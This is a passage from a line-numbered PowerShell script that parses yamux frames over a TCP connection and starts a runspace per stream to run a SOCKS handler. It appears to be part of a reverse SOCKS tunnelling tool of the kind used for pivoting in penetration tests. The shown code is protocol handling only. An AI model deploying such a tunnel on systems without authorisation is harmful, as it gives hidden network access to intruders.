$ymxstream" 281 | 282 | #we do not need send reply for ymx SYN, and we do not send it... 283 | #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) 284 | #$tcpstream.Write($outbuf,0,12) 285 | 286 | #create and start thread 287 | #write-host "Debug: creating thread" 288 | #create 2 pipes: IN and OUT. Create 4 streams: Server and Client stream for every pipe 289 | $sipipe = new-object System.IO.Pipes.AnonymousPipeServerStream(1) 290 | $sopipe = new-object System.IO.Pipes.AnonymousPipeServerStream(2,1) 291 | $sipipe_clHandle = $sipipe.GetClientHandleAsString() 292 | $sopipe_clHandle = $sopipe.GetClientHandleAsString() 293 | $cipipe = new-object System.IO.Pipes.AnonymousPipeClientStream(1,$sopipe_clHandle) 294 | $copipe = new-object System.IO.Pipes.AnonymousPipeClientStream(2,$sipipe_clHandle) 295 | 296 | $readbuffer = New-Object System.Byte[] $bufsize 297 | 298 | $state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe} 299 | $PS = [PowerShell]::Create() 300 | 301 | #create runspase for shared variable StopFlag 302 | $socksrunspace = [runspacefactory]::CreateRunspace() 303 | $socksrunspace.Open() 304 | $socksrunspace.SessionStateProxy.SetVariable("StopFlag",$StopFlag) 305 | $PS.Runspace = $socksrunspace 306 | $PS.AddScript($socksScript).AddArgument($state) | Out-Null 307 | [System.IAsyncResult]$AsyncJobResult = $null 308 | $StopFlag[$ymxstream] = 0 309 | $RcvBytes[$ymxstream] = 0 310 | $AsyncJobResult = $PS.BeginInvoke() 311 | 312 | #add created streams and PS object to streams list 313 | $streams.add(@{ymxId=$ymxstream;cinputStream=$cipipe;sinputStream=$sipipe;coutputStream=$copipe;soutputStream=$sopipe;asyncobj=$AsyncJobResult;psobj=$PS;readjob=$null;readbuffer=$readbuffer}) | out-null 314 | $readbuffer.clear() 315 | 316 | }elseif ($ymxbuffer[1] -eq 2){ 317 | #write-host "got ymx keepalive" 318 | $pingval = [bitconverter]::ToInt32($ymxbuffer[11..8],0) 319 | #set $StopFlag[0] to recieved ping value. This instruct yamuxScript to send this value back in ymx keepalive message 320 | $StopFlag[0] = $pingval 321 | }elseif ($ymxbuffer[1] -eq 0) { 322 | #write-host "Debug: got ymx DATA" 323 | $ymxstream = [bitconverter]::ToInt32($ymxbuffer[7..4],0) 324 | $ymxcount = [bitconverter]::ToInt32($ymxbuffer[11..8],0) 325 | 326 | #search in streamlist inpsteam and outstream by ymx Id and get streams from streams list 327 | if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)} 328 | else {$streamind = 0} 329 | $inpStream = $streams[$streamind].sinputStream 330 | $outStream = $streams[$streamind].soutputStream 331 | if($inpStream -and $outStream ){ 332 | #read raw data 333 | #write-host "Debug: read raw ymx DATA" 334 | 335 | $databuffer = $null 336 | $tnum = 0 337 | do { 338 | if ($buffer.length -le ($ymxcount-$tnum)) { $num = $tcpStream.Read($buffer,0,$buffer.Length) }else 339 | { $num = $tcpStream.Read($buffer,0,($ymxcount-$tnum)) } 340 | $tnum += $num 341 | $databuffer += $buffer[0..($num-1)] 342 | }while ($tnum -lt $ymxcount -and $tcpConnection.Connected) 343 | 344 | #write-host "out " $ymxcount" bytes to outstream at index:" $streamind 345 | $outStream.Write($databuffer,0,$ymxcount) 346 | 347 | #update $RcvBytes 348 | $RcvBytes[$ymxstream] += $ymxcount 349 | }else{ 350 | write-host "Debug: can't find streams. StreamId: $streamid, inpStream: $inpStream, outstream: $outStream" 351 | } 352 | 353 | 354 | }elseif ($ymxbuffer[1] -eq 1 -and $ymxbuffer[3] -eq 0) { 355 | write-host "Debug: got ymx win update" 356 | Write-Host $ymxbuffer 357 | } 358 | elseif ($ymxbuffer[1] -eq 1 -and $ymxbuffer[3] -eq 4) { 359 | write-host "Debug: got ymx FIN" 360 | $ymxstream = [bitconverter]::ToInt32($ymxbuffer[7..4],0) 361 | write-host "Yamux stream ID: $ymxstream" 362 | 363 | #search in streamlist inpsteam and outstream by ymx Id and get asyncjobresult 364 | if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)} 365 | else {$streamind = 0} 366 | 367 | $AsyncJobResult = $streams[$streamind].asyncobj 368 | $PS = $streams[$streamind].psobj 369 | write-host "Debug: stoping thread" 370 | if ($StopFlag[$ymxstream] -eq 0){ 371 | $StopFlag[$ymxstream] = 1 372 | } 373 | start-sleep -milliseconds 200 #wait for thread check flag 374 | #$streams[$streamind].cinputStream.close() 375 | #$streams[$streamind].coutputStream.close() 376 | #$streams[$streamind].sinputStream.close() 377 | #$streams[$streamind].soutputStream.close() 378 | $streams[$streamind].psobj.Runspace.close() 379 | $streams[$streamind].psobj.Dispose() 380 | $streams[$streamind].readbuffer.clear() 381 | 382 | write-host "Debug: removing streams from streams list" 383 | $streams.RemoveAt($streamind) 384 | [System.GC]::Collect()#clear garbage to minimize memory usage 385 | 386 | 387 | }else{ 388 | write-host "got something wrong" 389 | $wrnum += 1 390 | if ($wrnum -gt 10) { write-host "too many errors! Exiting..."; break;} 391 | } 392 | 393 | } 394 | 395 | 396 | write-host "Debug: stoping ymx thread" 397 | $PS1.EndStop($PS1.BeginStop($null,$ymxAsyncJob)) 398 | $tcpConnection.Close() 399 | 400 | }else{ 401 | write-host "not connected" 402 | } 403 | 404 | --------------------------------------------------------------------------------